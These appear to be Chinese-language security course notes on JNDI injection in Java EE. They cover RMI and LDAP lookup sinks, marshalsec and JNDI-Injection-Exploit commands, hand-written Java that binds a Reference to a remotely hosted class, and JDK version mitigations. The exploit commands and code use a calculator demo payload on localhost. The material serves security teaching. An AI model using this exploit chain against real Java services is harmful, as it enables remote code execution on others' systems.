知識點:
1、安全開發-JavaEE-JNDI注入-LADP&RMI&DNS等
2、安全開發-JavaEE-JNDI注入-項目工具&手工原理等
演示案例-WEB開發-JavaEE-JNDI注入&LDAP&RMI服務&DNS服務&高版本限制繞過
JNDI
全稱為 Java Naming and DirectoryInterface
(Java
命名和目錄接口),是一組應用程序接口,為開發人員查找和訪問各種資源提供了統一的通用接口,可以用來定義用戶、網絡、機器、對象和服務等各種資源。JNDI
支持的服務主要有:DNS、LDAP、CORBA、RMI
等。
RMI:遠程方法調用注冊表
LDAP:輕量級目錄訪問協議
調用檢索:
Java
為了將Object
對象存儲在Naming
或Directory
服務下,提供了Naming Reference
功能,對象可以通過綁定Reference
存儲在Naming
或Directory
服務下,比如RMI、LDAP
等。javax.naming.InitialContext.lookup()
在RMI
服務中調用了InitialContext.lookup()
的類有:
org.springframework.transaction.jta.JtaTransactionManager.readObject()
com.sun.rowset.JdbcRowSetImpl.execute()
javax.management.remote.rmi.RMIConnector.connect()
org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName(String sfJNDIName)
在LDAP
服務中調用了InitialContext.lookup()
的類有:
InitialDirContext.lookup()
Spring LdapTemplate.lookup()
LdapTemplate.lookupContext()
JNDI注入-工具-marshalsec
項目地址:https://github.com/mbechler/marshalsec
這個項目就是自己寫一個危險代碼類,然后編譯成class
文件放到網站目錄下,用該項目生成一個調用地址,相當于中轉作用。
1、編譯調用對象(生成class文件)
javac Test.java
2、將生成的Class存放到網站訪問路徑,使用利用工具生成調用協議(rmi,ldap)
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8888/#Calc
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1:8888/#Calc
3、觸發JNDI注入
JNDI注入-工具-JNDI-Injection-Exploit
項目地址:https://github.com/welk1n/JNDI-Injection-Exploit
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A xx.xx.xx.xx
JNDI注入-手工
bind:將名稱綁定到對象中;
lookup:通過名字檢索執行的對象;
Reference類表示對存在于命名/目錄系統以外的對象的引用。
Reference參數:
className:遠程加載時所使用的類名;
classFactory:加載的class中需要實例化類的名稱;
classFactoryLocation:遠程加載類的地址,提供classes數據的地址可以是file/ftp/http等協議;
1、Server注冊監聽
Registry registry = LocateRegistry.createRegistry(7778);
Reference reference = new Reference("calc", "calc", "http://127.0.0.1:8089/");
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind("RCE", wrapper);
2、Clinet連接觸發
String uri = "rmi://127.0.0.1:7778/RCE";
InitialContext initialContext = new InitialContext();
initialContext.lookup(uri);
JDK高版本注入繞過
JDK 6u45、7u21之后
java.rmi.server.useCodebaseOnly
的默認值被設置為true
。當該值為true
時,將禁用自動加載遠程類文件,僅從CLASSPATH
和當前JVM
的java.rmi.server.codebase
指定路徑加載類文件。使用這個屬性來防止客戶端VM
從其他Codebase
地址上動態加載類,增加RMI ClassLoader
安全性。
JDK 6u141、7u131、8u121之后
增加了com.sun.jndi.rmi.object.trustURLCodebase
選項,默認為false
,禁止RMI
和CORBA
協議使用遠程codebase
的選項,因此RMI
和CORBA
在以上的JDK
版本上已經無法觸發該漏洞,但依然可以通過指定URI
為LDAP
協議來進行JNDI
注入攻擊。
JDK 6u211、7u201、8u191之后
增加了com.sun.jndi.ldap.object.trustURLCodebase
選項,默認為false
,禁止LDAP
協議使用遠程codebase
的選項,把LDAP
協議的攻擊途徑也給禁了。
高版本繞過
后續Java
安全篇章課程將講到